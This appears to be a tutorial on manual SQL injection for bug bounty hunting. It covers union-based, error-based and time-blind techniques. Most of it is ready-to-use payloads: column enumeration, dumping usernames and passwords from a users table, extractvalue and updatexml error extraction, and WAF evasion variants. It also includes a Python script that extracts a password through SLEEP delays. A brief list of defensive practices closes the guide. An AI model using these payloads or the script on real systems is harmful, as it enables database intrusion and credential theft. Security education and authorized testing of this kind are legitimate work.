Manual SQL Injection: Beyond SQLMap
Automated tools like SQLMap are excellent for quickly finding vulnerabilities, but in competitive Bug Bounty environments or well-protected applications, you need advanced manual techniques that tools don't detect.
This guide covers three advanced manual exfiltration techniques:
- Union-based SQLi: Combine queries to extract data directly
- Error-based SQLi: Force verbose errors that leak information
- Time-blind SQLi: Infer data through time delays
1. Union-based SQL Injection
The UNION technique allows combining results from two SELECT queries into a single response. It's the most direct way to exfiltrate data when the application displays results on screen.
Step 1: Detect the Number of Columns
Before using UNION, you need to know how many columns the original query returns:
-- Test with ORDER BY incrementing until it fails
https://target.com/products?id=1 ORDER BY 1--
https://target.com/products?id=1 ORDER BY 2--
https://target.com/products?id=1 ORDER BY 3--
https://target.com/products?id=1 ORDER BY 4-- ❌ Error = 3 columns
-- Alternative with UNION SELECT NULL
https://target.com/products?id=1 UNION SELECT NULL-- ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL-- ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL,NULL-- ✅ Works = 3 columnsStep 2: Identify Columns with Compatible Data Types
Not all columns accept strings. Identify which ones are compatible:
-- Test each column with a string
https://target.com/products?id=1 UNION SELECT 'a',NULL,NULL--
https://target.com/products?id=1 UNION SELECT NULL,'a',NULL--
https://target.com/products?id=1 UNION SELECT NULL,NULL,'a'-- ✅ Works
-- If the column accepts strings, we can inject data thereStep 3: Exfiltrate Data of Interest
-- Get database version
' UNION SELECT NULL,NULL,@@version--
-- List all databases (MySQL)
' UNION SELECT NULL,NULL,schema_name FROM information_schema.schemata--
-- List tables from a database
' UNION SELECT NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='target_db'--
-- List columns from a table
' UNION SELECT NULL,NULL,column_name FROM information_schema.columns WHERE table_name='users'--
-- Extract credentials
' UNION SELECT NULL,username,password FROM users--
-- Concatenate multiple columns into one (when only one column is visible)
' UNION SELECT NULL,NULL,CONCAT(username,':',password) FROM users--WAF Evasion
UNION, try:/*!UNION*/(MySQL inline comments)UnIoN(case mixing)UNION/**/SELECT(spaces with comments)
2. Error-based SQL Injection
When the application doesn't show SELECT results but does display detailed SQL errors, we can force errors that leak information in the error message.
Technique: ExtractValue (MySQL)
-- Extract MySQL version
' AND extractvalue(1,concat(0x7e,version()))--
-- Error: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
-- Extract current database name
' AND extractvalue(1,concat(0x7e,database()))--
-- Error: XPATH syntax error: '~target_db'
-- Extract first user
' AND extractvalue(1,concat(0x7e,(SELECT username FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~admin'
-- Extract admin password
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='admin')))--
-- Error: XPATH syntax error: '~$2y$10$abcd1234....'Technique: UpdateXML (Alternative)
-- Same concept, different function
' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--
-- Extract all tables (limited by error length)
' AND updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--Length Limitation
- Use
SUBSTRING()to extract in chunks - Use
LIMITto iterate over rows
3. Time-blind SQL Injection
The stealthiest but slowest technique. When the application shows neither results nor errors, we can infer information through time delays.
Basic Concept
-- If condition is TRUE, delay 5 seconds
' AND IF(1=1, SLEEP(5), 0)-- ⏱️ Response in 5 seconds = TRUE
' AND IF(1=2, SLEEP(5), 0)-- ⏱️ Immediate response = FALSE
-- Verify if 'users' table exists
' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--
-- Verify length of admin username
' AND IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(5), 0)--
-- Extract first character of username (A=65 in ASCII)
' AND IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=65, SLEEP(5), 0)--Automation Script (Python)
import requests
import time
import string
url = "https://target.com/search"
charset = string.ascii_lowercase + string.digits + "_"
def check_char(position, char):
"""Check if character at position matches"""
payload = f"' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),{position},1))={ord(char)}, SLEEP(3), 0)--"
start = time.time()
requests.get(url, params={"q": payload}, timeout=10)
elapsed = time.time() - start
return elapsed > 3 # If took more than 3 sec, char is correct
def extract_data(length=32):
"""Extract data character by character"""
result = ""
for i in range(1, length + 1):
for char in charset:
if check_char(i, char):
result += char
print(f"[+] Character {i}: {result}")
break
return result
# First detect length
# Then extract character by character
password = extract_data(32)
print(f"[!] Password extracted: {password}")Time-blind Limitations
- Very slow: Extracting 32 characters can take hours
- Detectable by IDS: Thousands of requests with suspicious delays
- Sensitive to network latency: False positives due to lag
Technique Comparison
| Technique | Speed | Stealth | Requirements |
|---|---|---|---|
| Union-based | ⚡ Very fast | 🔴 Very detectable | Visible results on page |
| Error-based | ⚡ Fast | 🟡 Moderate | Verbose SQL errors |
| Time-blind | 🐌 Very slow | 🟢 Less detectable | None (always works) |
How to Defend
Best Practices
- Prepared Statements: ALWAYS use parameterized queries (PDO, MySQLi, ORM)
- Whitelist Validation: Validate inputs against allowed list, not blacklist
- Least Privilege: Database user with minimal permissions (not DBA)
- Generic errors: Never show detailed SQL errors in production
- WAF: Web Application Firewall with anti-SQLi rules